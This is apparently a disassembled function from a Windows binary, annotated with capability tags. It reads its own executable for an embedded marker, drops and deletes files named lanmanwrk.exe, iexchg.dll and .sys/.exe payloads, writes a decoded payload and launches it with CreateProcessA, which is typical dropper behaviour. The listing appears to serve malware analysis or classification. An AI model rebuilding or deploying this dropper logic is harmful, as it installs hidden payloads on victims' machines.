Function at 0x403bf0
Capabilities:
Copy file
Create process on windows
Create process suspended
Delete file
Get file size
Read file on windows
Resolve function by parsing pe exports
Terminate process
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x87c
mov eax, dword [0x40e0b0]
push ebx
push esi
push 0x200
mov dword [esp + 0x884], eax
call fcn.00404e00
add esp, 4
mov esi, eax
push 0x200
push esi
xor ebx, ebx
push ebx
mov dword [esp + 0x30], esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00406640
push esi
call fcn.00403660
add esp, 8
test eax, eax
je 0x404012
push 0x5c
push esi
call fcn.00404e40
mov cl, byte [eax]
add esp, 8
cmp cl, 0x71
jne 0x403c5b
cmp byte [eax + 1], 0x6d
je 0x403c6f
push str.lanmanwrk.exe
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x404012
push 0x5c
push esi
call fcn.00404e40
mov cl, byte [eax]
add esp, 8
cmp cl, 0x71
jne 0x403ca1
cmp byte [eax + 1], 0x6d
jne 0x403ca1
pop esi
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x878]
call fcn.00405b4e
add esp, 0x87c
ret
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x403cd1
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x878]
call fcn.00405b4e
add esp, 0x87c
ret
push ebp
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + 1]
push eax
call fcn.00404e00
add esp, 4
push ebx
lea ecx, [esp + 0x20]
push ecx
push edi
mov ebp, eax
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
shr edi, 2
xor eax, eax
xor ecx, ecx
dec edi
je 0x403d3e
mov edx, dword [0x40e088]
mov esi, dword [str._8GV]
cmp dword [ebp + eax*4], edx
jne 0x403d2c
cmp dword [ebp + eax*4 + 4], esi
jne 0x403d2c
cmp ecx, ebx
jne 0x403d33
mov ecx, 1
inc eax
cmp eax, edi
jb 0x403d17
jmp 0x403d3e
add eax, 2
cmp eax, ebx
mov dword [esp + 0x24], eax
jne 0x403d60
push ebp
call fcn.00404e20
add esp, 4
mov ecx, dword [esp + 0x888]
pop edi
pop ebp
pop esi
xor eax, eax
pop ebx
call fcn.00405b4e
add esp, 0x87c
ret
push 0x400
call fcn.00404e00
push 0x400
mov dword [esp + 0x28], eax
call fcn.00404e00
push 0x400
mov dword [esp + 0x24], eax
call fcn.00404e00
mov edi, eax
push 0x400
push edi
call fcn.00405160
add esp, 0x14
push str.iexchg.dll
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x403e49
push ebx
lea edx, [esp + 0x20]
push edx
push 4
lea eax, [esp + 0x3c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [esp + 0x30]
push ebx
lea ecx, [esp + 0x20]
push ecx
push edx
lea eax, [esp + 0x94]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [esp + 0x1c]
push esi
mov byte [esp + ecx + 0x8c], bl
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push edi
call esi
lea edx, [esp + 0x88]
push edx
mov dword [esp + 0x18], ebx
call esi
test eax, eax
jne 0x403e49
lea ebx, [ebx]
mov eax, dword [esp + 0x14]
mov ecx, eax
inc eax
cmp ecx, 0xa
mov dword [esp + 0x14], eax
jge 0x403e49
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [esp + 0x88]
push edx
call esi
test eax, eax
je 0x403e20
push ebx
push ebx
push 4
push ebx
push ebx
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push edi
mov esi, eax
call fcn.00404e20
mov eax, dword [esp + 0x24]
push str..exe
push eax
call fcn.00403540
mov ecx, dword [esp + 0x24]
push str..sys
push ecx
call fcn.00403540
mov edx, dword [esp + 0x40]
add esp, 0x14
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
mov dword [esp + 0x14], eax
lea eax, [esp + 0x2c]
push eax
push 4
lea ecx, [esp + 0x1c]
push ecx
push esi
call edi
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x2c]
push ebx
lea edx, [esp + 0x2c]
push edx
push eax
push ecx
push esi
call edi
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
mov dword [esp + 0x14], eax
lea eax, [esp + 0x2c]
push eax
push 4
lea ecx, [esp + 0x1c]
push ecx
push esi
call edi
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x18]
push ebx
lea edx, [esp + 0x2c]
push edx
push eax
push ecx
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [esp + 0x20]
mov esi, dword [esp + 0x2c]
push ebx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push esi
call fcn.00404e20
mov eax, dword [esp + 0x28]
mov ecx, dword [ebp + eax*4]
mov esi, dword [ebp + eax*4 + 4]
add esp, 4
inc eax
lea edx, [ebp + eax*4 + 4]
mov dword [esp + 0x24], ecx
mov dword [esp + 0x14], edx
mov eax, dword [esp + 0x18]
push ebx
push ebx
push 4
push ebx
push ebx
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x14]
push ecx
push esi
push edx
mov dword [esp + 0x3c], eax
call fcn.00402ed0
mov ecx, dword [esp + 0x20]
add esp, 0xc
push ebx
lea eax, [esp + 0x20]
push eax
push esi
mov esi, dword [esp + 0x3c]
push ecx
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call fcn.00404e20
add esp, 4
lea edx, [esp + 0x78]
push edx
lea eax, [esp + 0x38]
push eax
mov eax, dword [esp + 0x28]
push 0x40b578
push ebx
push ebx
push ebx
push ebx
push ebx
push eax
push eax
mov dword [esp + 0x5c], 0x44
mov word [esp + 0x8e], bx
mov dword [esp + 0x84], ebx
mov dword [esp + 0x88], ebx
mov dword [esp + 0x6c], ebx
mov dword [esp + 0x7c], ebx
mov dword [esp + 0x74], ebx
mov dword [esp + 0x70], ebx
mov dword [esp + 0x80], ebx
mov dword [esp + 0x78], ebx
mov dword [esp + 0x9c], ebx
mov dword [esp + 0x94], ebx
mov dword [esp + 0x98], ebx
mov dword [esp + 0x64], ebx
mov dword [esp + 0x60], ebx
mov dword [esp + 0x90], ebx
mov dword [esp + 0x68], ebx
mov word [esp + 0x8c], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x403d47
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.004037d0
push esi
call fcn.004036e0
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]